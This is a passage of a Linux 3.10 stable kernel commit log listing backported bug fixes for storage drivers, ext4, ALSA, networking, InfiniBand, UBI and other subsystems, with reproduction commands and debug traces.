Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 434a561647d666fd42630b0d39dadef6530ac543 Author: Christoph Hellwig Date: Thu Apr 23 09:48:51 2015 +0200 3w-9xxx: fix command completion race commit 118c855b5623f3e2e6204f02623d88c09e0c34de upstream. The 3w-9xxx driver needs to tear down the dma mappings before returning the command to the midlayer, as there is no guarantee the sglist and count are valid after that point. Also remove the dma mapping helpers which have another inherent race due to the request_id index. Signed-off-by: Christoph Hellwig Acked-by: Adam Radford Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 25aac104566cca620e80c840d06d6c4b12dcdba0 Author: Christoph Hellwig Date: Thu Apr 23 09:48:50 2015 +0200 3w-xxxx: fix command completion race commit 9cd9554615cba14f0877cc9972a6537ad2bdde61 upstream. The 3w-xxxx driver needs to tear down the dma mappings before returning the command to the midlayer, as there is no guarantee the sglist and count are valid after that point. Also remove the dma mapping helpers which have another inherent race due to the request_id index. Signed-off-by: Christoph Hellwig Acked-by: Adam Radford Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 248d13ae40721da459f3fc07218ab667c773d5ba Author: Lukas Czerner Date: Sat May 2 21:36:55 2015 -0400 ext4: fix data corruption caused by unwritten and delayed extents commit d2dc317d564a46dfc683978a2e5a4f91434e9711 upstream. Currently it is possible to lose whole file system block worth of data when we hit the specific interaction with unwritten and delayed extents in status extent tree. The problem is that when we insert delayed extent into extent status tree the only way to get rid of it is when we write out delayed buffer. However there is a limitation in the extent status tree implementation so that when inserting unwritten extent should there be even a single delayed block the whole unwritten extent would be marked as delayed. At this point, there is no way to get rid of the delayed extents, because there are no delayed buffers to write out. So when a we write into said unwritten extent we will convert it to written, but it still remains delayed. When we try to write into that block later ext4_da_map_blocks() will set the buffer new and delayed and map it to invalid block which causes the rest of the block to be zeroed loosing already written data. For now we can fix this by simply not allowing to set delayed status on written extent in the extent status tree. Also add WARN_ON() to make sure that we notice if this happens in the future. This problem can be easily reproduced by running the following xfs_io. xfs_io -f -c "pwrite -S 0xaa 4096 2048" \ -c "falloc 0 131072" \ -c "pwrite -S 0xbb 65536 2048" \ -c "fsync" /mnt/test/fff echo 3 > /proc/sys/vm/drop_caches xfs_io -c "pwrite -S 0xdd 67584 2048" /mnt/test/fff This can be theoretically also reproduced by at random by running fsx, but it's not very reliable, though on machines with bigger page size (like ppc) this can be seen more often (especially xfstest generic/127) Signed-off-by: Lukas Czerner Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c15347a8f0a1f1b34982dc6d454a77dfa4be2665 Author: Ilya Dryomov Date: Sat Apr 25 15:56:15 2015 +0300 rbd: end I/O the entire obj_request on error commit 082a75dad84d79d1c15ea9e50f31cb4bb4fa7fd6 upstream. When we end I/O struct request with error, we need to pass obj_request->length as @nr_bytes so that the entire obj_request worth of bytes is completed. Otherwise block layer ends up confused and we trip on rbd_assert(more ^ (which == img_request->obj_request_count)); in rbd_img_obj_callback() due to more being true no matter what. We already do it in most cases but we are missing some, in particular those where we don't even get a chance to submit any obj_requests, due to an early -ENOMEM for example. A number of obj_request->xferred assignments seem to be redundant but I haven't touched any of obj_request->xferred stuff to keep this small and isolated. Cc: Alex Elder Reported-by: Shawn Edwards Reviewed-by: Sage Weil Signed-off-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d6388ba209c02bd88f00b412559ba3ab1bb0d81 Author: Michal Simek Date: Tue Apr 14 12:03:09 2015 +0200 serial: of-serial: Remove device_type = "serial" registration commit 6befa9d883385c580369a2cc9e53fbf329771f6d upstream. Do not probe all serial drivers by of_serial.c which are using device_type = "serial"; property. Only drivers which have valid compatible strings listed in the driver should be probed. When PORT_UNKNOWN is setup probe will fail anyway. Arnd quotation about driver historical background: "when I wrote that driver initially, the idea was that it would get used as a stub to hook up all other serial drivers but after that, the common code learned to create platform devices from DT" This patch fix the problem with on the system with xilinx_uartps and 16550a where of_serial failed to register for xilinx_uartps and because of irq_dispose_mapping() removed irq_desc. Then when xilinx_uartps was asking for irq with request_irq() EINVAL is returned. Signed-off-by: Michal Simek Acked-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2af782069e2f76daa6cd5b61176ff23dd7b397a9 Author: Takashi Iwai Date: Mon Apr 27 10:36:11 2015 +0200 ALSA: hda - Fix mute-LED fixed mode commit ee52e56e7b12834476cd0031c5986254ba1b6317 upstream. The mute-LED mode control has the fixed on/off states that are supposed to remain on/off regardless of the master switch. However, this doesn't work actually because the vmaster hook is called in the vmaster code itself. This patch fixes it by calling the hook indirectly after checking the mute LED mode. Reported-and-tested-by: Pali Rohár Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b741e87ccdac9cb681083c61b4112fb492088f3 Author: Peter Zubaj Date: Tue Apr 28 21:57:29 2015 +0200 ALSA: emu10k1: Emu10k2 32 bit DMA mode commit 7241ea558c6715501e777396b5fc312c372e11d9 upstream. Looks like audigy emu10k2 (probably emu10k1 - sb live too) support two modes for DMA. Second mode is useful for 64 bit os with more then 2 GB of ram (fixes problems with big soundfont loading) 1) 32MB from 2 GB address space using 8192 pages (used now as default) 2) 16MB from 4 GB address space using 4096 pages Mode is set using HCFG_EXPANDED_MEM flag in HCFG register. Also format of emu10k2 page table is then different. Signed-off-by: Peter Zubaj Tested-by: Takashi Iwai Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit adeaa6541e236498961cf4bfb50f381cf6cab57e Author: Takashi Iwai Date: Mon Apr 27 13:00:09 2015 +0200 ALSA: emu10k1: Fix card shortname string buffer overflow commit d02260824e2cad626fb2a9d62e27006d34b6dedc upstream. Some models provide too long string for the shortname that has 32bytes including the terminator, and it results in a non-terminated string exposed to the user-space. This isn't too critical, though, as the string is stopped at the succeeding longname string. This patch fixes such entries by dropping "SB" prefix (it's enough to fit within 32 bytes, so far). Meanwhile, it also changes strcpy() with strlcpy() to make sure that this kind of problem won't happen in future, too. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6c8078bc4851c7b1b26ff8d25950aedd1ba6d967 Author: Takashi Iwai Date: Tue Apr 28 17:11:44 2015 +0200 ALSA: emux: Fix mutex deadlock in OSS emulation commit 1c94e65c668f44d2c69ae7e7fc268ab3268fba3e upstream. The OSS emulation in synth-emux helper has a potential AB/BA deadlock at the simultaneous closing and opening: close -> snd_seq_release() -> sne_seq_free_client() -> snd_seq_delete_all_ports(): takes client->ports_mutex -> port_delete() -> snd_emux_unuse(): takes emux->register_mutex open -> snd_seq_oss_open() -> snd_emux_open_seq_oss(): takes emux->register_mutex -> snd_seq_event_port_attach() -> snd_seq_create_port(): takes client->ports_mutex This patch addresses the deadlock by reducing the rance taking emux->register_mutex in snd_emux_open_seq_oss(). The lock is needed for the refcount handling, so move it locally. The calls in emux_seq.c are already with the mutex, thus they are replaced with the version without mutex lock/unlock. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 300209a61c6c03c8e413c875a02d45946ce696b2 Author: Takashi Iwai Date: Mon Apr 27 14:50:39 2015 +0200 ALSA: emux: Fix mutex deadlock at unloading commit 07b0e5d49d227e3950cb13a3e8caf248ef2a310e upstream. The emux-synth driver has a possible AB/BA mutex deadlock at unloading the emu10k1 driver: snd_emux_free() -> snd_emux_detach_seq(): mutex_lock(&emu->register_mutex) -> snd_seq_delete_kernel_client() -> snd_seq_free_client(): mutex_lock(®ister_mutex) snd_seq_release() -> snd_seq_free_client(): mutex_lock(®ister_mutex) -> snd_seq_delete_all_ports() -> snd_emux_unuse(): mutex_lock(&emu->register_mutex) Basically snd_emux_detach_seq() doesn't need a protection of emu->register_mutex as it's already being unregistered. So, we can get rid of this for avoiding the deadlock. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a6de55b4e1cded707c0aa5c504b54ab7385f7653 Author: Greg Kroah-Hartman Date: Wed May 6 21:56:44 2015 +0200 Linux 3.10.77 Signed-off-by: Pranav Vashi commit 050a392a24f8ac43448ef6b461f51f4c6359ff97 Author: Guenter Roeck Date: Mon May 4 21:42:41 2015 -0700 s390: Fix build error s390 images fail to build in 3.10 with arch/s390/kernel/suspend.c: In function 'pfn_is_nosave': arch/s390/kernel/suspend.c:147:10: error: 'ipl_info' undeclared arch/s390/kernel/suspend.c:147:27: error: 'IPL_TYPE_NSS' undeclared due to a missing include file. Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ed6e06308ad4d87c2e694bba372693ef1f1e7fe0 Author: Geert Uytterhoeven Date: Thu Oct 9 15:30:30 2014 -0700 nosave: consolidate __nosave_{begin,end} in commit 7f8998c7aef3ac9c5f3f2943e083dfa6302e90d0 upstream. The different architectures used their own (and different) declarations: extern __visible const void __nosave_begin, __nosave_end; extern const void __nosave_begin, __nosave_end; extern long __nosave_begin, __nosave_end; Consolidate them using the first variant in . Signed-off-by: Geert Uytterhoeven Cc: Russell King Cc: Ralf Baechle Cc: Benjamin Herrenschmidt Cc: Martin Schwidefsky Cc: "David S. Miller" Cc: Guan Xuetao Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6a9e6d772c5773b187e838996f0ec9ec1594aa4 Author: Dan Carpenter Date: Thu Apr 16 12:48:35 2015 -0700 memstick: mspro_block: add missing curly braces commit 13f6b191aaa11c7fd718d35a0c565f3c16bc1d99 upstream. Using the indenting we can see the curly braces were obviously intended. This is a static checker fix, but my guess is that we don't read enough bytes, because we don't calculate "t_len" correctly. Fixes: f1d82698029b ('memstick: use fully asynchronous request processing') Signed-off-by: Dan Carpenter Cc: Alex Dubov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 974ee5b209fbe75eefbba65bad15771396a1d72d Author: Nishanth Menon Date: Sat Mar 7 03:39:05 2015 -0600 C6x: time: Ensure consistency in __init commit f4831605f2dacd12730fe73961c77253cc2ea425 upstream. time_init invokes timer64_init (which is __init annotation) since all of these are invoked at init time, lets maintain consistency by ensuring time_init is marked appropriately as well. This fixes the following warning with CONFIG_DEBUG_SECTION_MISMATCH=y WARNING: vmlinux.o(.text+0x3bfc): Section mismatch in reference from the function time_init() to the function .init.text:timer64_init() The function time_init() references the function __init timer64_init(). This is often because time_init lacks a __init annotation or the annotation of timer64_init is wrong. Fixes: 546a39546c64 ("C6X: time management") Signed-off-by: Nishanth Menon Signed-off-by: Mark Salter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d862176d1788766289f516d280b656d9d0966338 Author: Nicolas Iooss Date: Fri Mar 13 15:17:14 2015 +0800 wl18xx: show rx_frames_per_rates as an array as it really is commit a3fa71c40f1853d0c27e8f5bc01a722a705d9682 upstream. In struct wl18xx_acx_rx_rate_stat, rx_frames_per_rates field is an array, not a number. This means WL18XX_DEBUGFS_FWSTATS_FILE can't be used to display this field in debugfs (it would display a pointer, not the actual data). Use WL18XX_DEBUGFS_FWSTATS_FILE_ARRAY instead. This bug has been found by adding a __printf attribute to wl1271_format_buffer. gcc complained about "format '%u' expects argument of type 'unsigned int', but argument 5 has type 'u32 *'". Fixes: c5d94169e818 ("wl18xx: use new fw stats structures") Signed-off-by: Nicolas Iooss Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 029509ff716f005e320484e1a8af0881593d580a Author: mancha security Date: Wed Mar 18 18:47:25 2015 +0100 lib: memzero_explicit: use barrier instead of OPTIMIZER_HIDE_VAR commit 0b053c9518292705736329a8fe20ef4686ffc8e9 upstream. OPTIMIZER_HIDE_VAR(), as defined when using gcc, is insufficient to ensure protection from dead store optimization. For the random driver and crypto drivers, calls are emitted ... $ gdb vmlinux (gdb) disassemble memzero_explicit Dump of assembler code for function memzero_explicit: 0xffffffff813a18b0 <+0>: push %rbp 0xffffffff813a18b1 <+1>: mov %rsi,%rdx 0xffffffff813a18b4 <+4>: xor %esi,%esi 0xffffffff813a18b6 <+6>: mov %rsp,%rbp 0xffffffff813a18b9 <+9>: callq 0xffffffff813a7120 0xffffffff813a18be <+14>: pop %rbp 0xffffffff813a18bf <+15>: retq End of assembler dump. (gdb) disassemble extract_entropy [...] 0xffffffff814a5009 <+313>: mov %r12,%rdi 0xffffffff814a500c <+316>: mov $0xa,%esi 0xffffffff814a5011 <+321>: callq 0xffffffff813a18b0 0xffffffff814a5016 <+326>: mov -0x48(%rbp),%rax [...] ... but in case in future we might use facilities such as LTO, then OPTIMIZER_HIDE_VAR() is not sufficient to protect gcc from a possible eviction of the memset(). We have to use a compiler barrier instead. Minimal test example when we assume memzero_explicit() would *not* be a call, but would have been *inlined* instead: static inline void memzero_explicit(void *s, size_t count) { memset(s, 0, count); } int main(void) { char buff[20]; snprintf(buff, sizeof(buff) - 1, "test"); printf("%s", buff); memzero_explicit(buff, sizeof(buff)); return 0; } With := OPTIMIZER_HIDE_VAR(): (gdb) disassemble main Dump of assembler code for function main: [...] 0x0000000000400464 <+36>: callq 0x400410 0x0000000000400469 <+41>: xor %eax,%eax 0x000000000040046b <+43>: add $0x28,%rsp 0x000000000040046f <+47>: retq End of assembler dump. With := barrier(): (gdb) disassemble main Dump of assembler code for function main: [...] 0x0000000000400464 <+36>: callq 0x400410 0x0000000000400469 <+41>: movq $0x0,(%rsp) 0x0000000000400471 <+49>: movq $0x0,0x8(%rsp) 0x000000000040047a <+58>: movl $0x0,0x10(%rsp) 0x0000000000400482 <+66>: xor %eax,%eax 0x0000000000400484 <+68>: add $0x28,%rsp 0x0000000000400488 <+72>: retq End of assembler dump. As can be seen, movq, movq, movl are being emitted inlined via memset(). Reference: http://thread.gmane.org/gmane.linux.kernel.cryptoapi/13764/ Fixes: d4c5efdb9777 ("random: add and use memzero_explicit() for clearing data") Cc: Theodore Ts'o Signed-off-by: mancha security Signed-off-by: Daniel Borkmann Acked-by: Hannes Frederic Sowa Acked-by: Stephan Mueller Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68a70c15e04b54432c46450a17cb7e5b21ea45dd Author: Sabrina Dubroca Date: Thu Feb 26 05:35:41 2015 +0000 e1000: add dummy allocator to fix race condition between mtu change and netpoll commit 08e8331654d1d7b2c58045e549005bc356aa7810 upstream. There is a race condition between e1000_change_mtu's cleanups and netpoll, when we change the MTU across jumbo size: Changing MTU frees all the rx buffers: e1000_change_mtu -> e1000_down -> e1000_clean_all_rx_rings -> e1000_clean_rx_ring Then, close to the end of e1000_change_mtu: pr_info -> ... -> netpoll_poll_dev -> e1000_clean -> e1000_clean_rx_irq -> e1000_alloc_rx_buffers -> e1000_alloc_frag And when we come back to do the rest of the MTU change: e1000_up -> e1000_configure -> e1000_configure_rx -> e1000_alloc_jumbo_rx_buffers alloc_jumbo finds the buffers already != NULL, since data (shared with page in e1000_rx_buffer->rxbuf) has been re-alloc'd, but it's garbage, or at least not what is expected when in jumbo state. This results in an unusable adapter (packets don't get through), and a NULL pointer dereference on the next call to e1000_clean_rx_ring (other mtu change, link down, shutdown): BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] put_compound_page+0x7e/0x330 [...] Call Trace: [] put_page+0x55/0x60 [] e1000_clean_rx_ring+0x134/0x200 [] e1000_clean_all_rx_rings+0x45/0x60 [] e1000_down+0x1c0/0x1d0 [] ? deactivate_slab+0x7f0/0x840 [] e1000_change_mtu+0xdc/0x170 [] dev_set_mtu+0xa0/0x140 [] do_setlink+0x218/0xac0 [] ? nla_parse+0xb9/0x120 [] rtnl_newlink+0x6d0/0x890 [] ? kvm_clock_read+0x20/0x40 [] ? sched_clock_cpu+0xa8/0x100 [] rtnetlink_rcv_msg+0x92/0x260 By setting the allocator to a dummy version, netpoll can't mess up our rx buffers. The allocator is set back to a sane value in e1000_configure_rx. Fixes: edbbb3ca1077 ("e1000: implement jumbo receive with partial descriptors") Signed-off-by: Sabrina Dubroca Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a9ef2076846d6eba75bde4345097413aceb3aa7e Author: Calvin Owens Date: Tue Jan 13 13:16:18 2015 -0800 ksoftirqd: Enable IRQs and call cond_resched() before poking RCU commit 28423ad283d5348793b0c45cc9b1af058e776fd6 upstream. While debugging an issue with excessive softirq usage, I encountered the following note in commit 3e339b5dae24a706 ("softirq: Use hotplug thread infrastructure"): [ paulmck: Call rcu_note_context_switch() with interrupts enabled. ] ...but despite this note, the patch still calls RCU with IRQs disabled. This seemingly innocuous change caused a significant regression in softirq CPU usage on the sending side of a large TCP transfer (~1 GB/s): when introducing 0.01% packet loss, the softirq usage would jump to around 25%, spiking as high as 50%. Before the change, the usage would never exceed 5%. Moving the call to rcu_note_context_switch() after the cond_sched() call, as it was originally before the hotplug patch, completely eliminated this problem. Signed-off-by: Calvin Owens Signed-off-by: Paul E. McKenney Signed-off-by: Mike Galbraith Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7f73fe828e6e3b791de5fe7b5b3c3f95fbf6007 Author: Al Viro Date: Fri Apr 24 15:47:07 2015 -0400 RCU pathwalk breakage when running into a symlink overmounting something commit 3cab989afd8d8d1bc3d99fef0e7ed87c31e7b647 upstream. Calling unlazy_walk() in walk_component() and do_last() when we find a symlink that needs to be followed doesn't acquire a reference to vfsmount. That's fine when the symlink is on the same vfsmount as the parent directory (which is almost always the case), but it's not always true - one _can_ manage to bind a symlink on top of something. And in such cases we end up with excessive mntput(). Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8666478ca5cad3540f586d64fea7bdaf9aebd6bf Author: Dmitry Torokhov Date: Tue Apr 21 09:49:11 2015 -0700 drm/i915: cope with large i2c transfers commit 9535c4757b881e06fae72a857485ad57c422b8d2 upstream. The hardware, according to the specs, is limited to 256 byte transfers, and current driver has no protections in case users attempt to do larger transfers. The code will just stomp over status register and mayhem ensues. Let's split larger transfers into digestable chunks. Doing this allows Atmel MXT driver on Pixel 1 function properly (it hasn't since commit 9d8dc3e529a19e427fd379118acd132520935c5d "Input: atmel_mxt_ts - implement T44 message handling" which tries to consume multiple touchscreen/touchpad reports in a single transaction). Reviewed-by: Chris Wilson Signed-off-by: Dmitry Torokhov Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a591fdb6119f641c270bb83527c2afc47dc99429 Author: Alex Deucher Date: Tue Feb 24 11:29:21 2015 -0500 drm/radeon: fix doublescan modes (v2) commit fd99a0943ffaa0320ea4f69d09ed188f950c0432 upstream. Use the correct flags for atom. v2: handle DRM_MODE_FLAG_DBLCLK Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d12ec9dd08dd3c1937bc8fed1c7c6a9ef2fda4ae Author: Mark Brown Date: Wed Apr 15 19:18:39 2015 +0100 i2c: core: Export bus recovery functions commit c1c21f4e60ed4523292f1a89ff45a208bddd3849 upstream. Current -next fails to link an ARM allmodconfig because drivers that use the core recovery functions can be built as modules but those functions are not exported: ERROR: "i2c_generic_gpio_recovery" [drivers/i2c/busses/i2c-davinci.ko] undefined! ERROR: "i2c_generic_scl_recovery" [drivers/i2c/busses/i2c-davinci.ko] undefined! ERROR: "i2c_recover_bus" [drivers/i2c/busses/i2c-davinci.ko] undefined! Add exports to fix this. Fixes: 5f9296ba21b3c (i2c: Add bus recovery infrastructure) Signed-off-by: Mark Brown Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 389278c7975e72d91ffa254d0b577ff0b595f191 Author: Erez Shitrit Date: Thu Apr 2 13:39:05 2015 +0300 IB/mlx4: Fix WQE LSO segment calculation commit ca9b590caa17bcbbea119594992666e96cde9c2f upstream. The current code decreases from the mss size (which is the gso_size from the kernel skb) the size of the packet headers. It shouldn't do that because the mss that comes from the stack (e.g IPoIB) includes only the tcp payload without the headers. The result is indication to the HW that each packet that the HW sends is smaller than what it could be, and too many packets will be sent for big messages. An easy way to demonstrate one more aspect of the problem is by configuring the ipoib mtu to be less than 2*hlen (2*56) and then run app sending big TCP messages. This will tell the HW to send packets with giant (negative value which under unsigned arithmetics becomes a huge positive one) length and the QP moves to SQE state. Fixes: b832be1e4007 ('IB/mlx4: Add IPoIB LSO support') Reported-by: Matthew Finlay Signed-off-by: Erez Shitrit Signed-off-by: Or Gerlitz Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 792b88a000c71b2215cc65f5703190c645f9e353 Author: Yann Droneaud Date: Mon Apr 13 14:56:23 2015 +0200 IB/core: don't disallow registering region starting at 0x0 commit 66578b0b2f69659f00b6169e6fe7377c4b100d18 upstream. In a call to ib_umem_get(), if address is 0x0 and size is already page aligned, check added in commit 8494057ab5e4 ("IB/uverbs: Prevent integer overflow in ib_umem_get address arithmetic") will refuse to register a memory region that could otherwise be valid (provided vm.mmap_min_addr sysctl and mmap_low_allowed SELinux knobs allow userspace to map something at address 0x0). This patch allows back such registration: ib_umem_get() should probably don't care of the base address provided it can be pinned with get_user_pages(). There's two possible overflows, in (addr + size) and in PAGE_ALIGN(addr + size), this patch keep ensuring none of them happen while allowing to pin memory at address 0x0. Anyway, the case of size equal 0 is no more (partially) handled as 0-length memory region are disallowed by an earlier check. Link: http://mid.gmane.org/cover.1428929103.git.ydroneaud@opteya.com Cc: Shachar Raindel Cc: Jack Morgenstein Cc: Or Gerlitz Signed-off-by: Yann Droneaud Reviewed-by: Sagi Grimberg Reviewed-by: Haggai Eran Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40f1be9aafd3208e2396bfdf2fa37ba6f6e5bc36 Author: Yann Droneaud Date: Mon Apr 13 14:56:22 2015 +0200 IB/core: disallow registering 0-sized memory region commit 8abaae62f3fdead8f4ce0ab46b4ab93dee39bab2 upstream. If ib_umem_get() is called with a size equal to 0 and an non-page aligned address, one page will be pinned and a 0-sized umem will be returned to the caller. This should not be allowed: it's not expected for a memory region to have a size equal to 0. This patch adds a check to explicitly refuse to register a 0-sized region. Link: http://mid.gmane.org/cover.1428929103.git.ydroneaud@opteya.com Cc: Shachar Raindel Cc: Jack Morgenstein Cc: Or Gerlitz Signed-off-by: Yann Droneaud Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac6e773cffffb183790689e75fd2d04503c981fe Author: Ezequiel Garcia Date: Tue Mar 10 11:37:14 2015 -0300 stk1160: Make sure current buffer is released commit aeff09276748b66072f2db2e668cec955cf41959 upstream. The available (i.e. not used) buffers are returned by stk1160_clear_queue(), on the stop_streaming() path. However, this is insufficient and the current buffer must be released as well. Fix it. Signed-off-by: Ezequiel Garcia Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a631bf03b2e492b55843fd403154af7e3849ffab Author: James Bottomley Date: Wed Apr 15 22:16:01 2015 -0700 mvsas: fix panic on expander attached SATA devices commit 56cbd0ccc1b508de19561211d7ab9e1c77e6b384 upstream. mvsas is giving a General protection fault when it encounters an expander attached ATA device. Analysis of mvs_task_prep_ata() shows that the driver is assuming all ATA devices are locally attached and obtaining the phy mask by indexing the local phy table (in the HBA structure) with the phy id. Since expanders have many more phys than the HBA, this is causing the index into the HBA phy table to overflow and returning rubbish as the pointer. mvs_task_prep_ssp() instead does the phy mask using the port properties. Mirror this in mvs_task_prep_ata() to fix the panic. Reported-by: Adam Talbot Tested-by: Adam Talbot Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a5eaf79f64061d5c2a70099676782c4e01c1841 Author: K. Y. Srinivasan Date: Fri Feb 27 11:26:04 2015 -0800 Drivers: hv: vmbus: Fix a bug in the error path in vmbus_open() commit 40384e4bbeb9f2651fe9bffc0062d9f31ef625bf upstream. Correctly rollback state if the failure occurs after we have handed over the ownership of the buffer to the host. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a4eb5d43e7b23e408d460f96692ae85de85b184 Author: Max Filippov Date: Fri Feb 27 11:02:38 2015 +0300 xtensa: provide __NR_sync_file_range2 instead of __NR_sync_file_range commit 01e84c70fe40c8111f960987bcf7f931842e6d07 upstream. xtensa actually uses sync_file_range2 implementation, so it should define __NR_sync_file_range2 as other architectures that use that function. That fixes userspace interface (that apparently never worked) and avoids special-casing xtensa in libc implementations. See the thread ending at http://lists.busybox.net/pipermail/uclibc/2015-February/048833.html for more details. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13bf6eba2f1873c8d6fd90216c8a50f1e52ec0d3 Author: Max Filippov Date: Fri Feb 27 06:28:00 2015 +0300 xtensa: xtfpga: fix hardware lockup caused by LCD driver commit 4949009eb8d40a441dcddcd96e101e77d31cf1b2 upstream. LCD driver is always built for the XTFPGA platform, but its base address is not configurable, and is wrong for ML605/KC705. Its initialization locks up KC705 board hardware. Make the whole driver optional, and its base address and bus width configurable. Implement 4-bit bus access method. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cecd3ebbab71ccc3d328153e5e33cf50c0e0684c Author: Lv Zheng Date: Mon Apr 13 11:48:58 2015 +0800 ACPICA: Utilities: split IO address types from data type models. commit 2b8760100e1de69b6ff004c986328a82947db4ad upstream. ACPICA commit aacf863cfffd46338e268b7415f7435cae93b451 It is reported that on a physically 64-bit addressed machine, 32-bit kernel can trigger crashes in accessing the memory regions that are beyond the 32-bit boundary. The region field's start address should still be 32-bit compliant, but after a calculation (adding some offsets), it may exceed the 32-bit boundary. This case is rare and buggy, but there are real BIOSes leaked with such issues (see References below). This patch fixes this gap by always defining IO addresses as 64-bit, and allows OSPMs to optimize it for a real 32-bit machine to reduce the size of the internal objects. Internal acpi_physical_address usages in the structures that can be fixed by this change include: 1. struct acpi_object_region: acpi_physical_address address; 2. struct acpi_address_range: acpi_physical_address start_address; acpi_physical_address end_address; 3. struct acpi_mem_space_context; acpi_physical_address address; 4. struct acpi_table_desc acpi_physical_address address; See known issues 1 for other usages. Note that acpi_io_address which is used for ACPI_PROCESSOR may also suffer from same problem, so this patch changes it accordingly. For iasl, it will enforce acpi_physical_address as 32-bit to generate 32-bit OSPM compatible tables on 32-bit platforms, we need to define ACPI_32BIT_PHYSICAL_ADDRESS for it in acenv.h. Known issues: 1. Cleanup of mapped virtual address In struct acpi_mem_space_context, acpi_physical_address is used as a virtual address: acpi_physical_address mapped_physical_address; It is better to introduce acpi_virtual_address or use acpi_size instead. This patch doesn't make such a change. Because this should be done along with a change to acpi_os_map_memory()/acpi_os_unmap_memory(). There should be no functional problem to leave this unchanged except that only this structure is enlarged unexpectedly. Link: https://github.com/acpica/acpica/commit/aacf863c Reference: https://bugzilla.kernel.org/show_bug.cgi?id=87971 Reference: https://bugzilla.kernel.org/show_bug.cgi?id=79501 Reported-and-tested-by: Paul Menzel Reported-and-tested-by: Sial Nije Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d45faaca8da0e4b9d336f391a7d0ae4f1350d696 Author: Guenter Roeck Date: Wed Apr 22 22:23:54 2015 -0700 drivers: parport: Kconfig: exclude arm64 for PARPORT_PC Fix build problem seen with arm64:allmodconfig. drivers/parport/parport_pc.c:67:25: fatal error: asm/parport.h: No such file or directory arm64 does not support PARPORT_PC. Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 399c8d2e4b9d2f4bdb0ccd7df349b7888e9d4895 Author: K. Y. Srinivasan Date: Fri Mar 27 00:27:18 2015 -0700 scsi: storvsc: Fix a bug in copy_from_bounce_buffer() commit 8de580742fee8bc34d116f57a20b22b9a5f08403 upstream. We may exit this function without properly freeing up the maapings we may have acquired. Fix the bug. Signed-off-by: K. Y. Srinivasan Reviewed-by: Long Li Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit affe8a617b551dbbcdf6f405a906220f04b7259b Author: Brian Norris Date: Sat Feb 28 02:23:28 2015 -0800 UBI: fix check for "too many bytes" commit 299d0c5b27346a77a0777c993372bf8777d4f2e5 upstream. The comparison from the previous line seems to have been erroneously (partially) copied-and-pasted onto the next. The second line should be checking req.bytes, not req.lnum. Coverity CID #139400 Signed-off-by: Brian Norris [rw: Fixed comparison] Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6189a1d782514bd6cfd31e32874d76d50f32b1c Author: Brian Norris Date: Sat Feb 28 02:23:27 2015 -0800 UBI: initialize LEB number variable commit f16db8071ce18819fbd705ddcc91c6f392fb61f8 upstream. In some of the 'out_not_moved' error paths, lnum may be used uninitialized. Don't ignore the warning; let's fix it. This uninitialized variable doesn't have much visible effect in the end, since we just schedule the 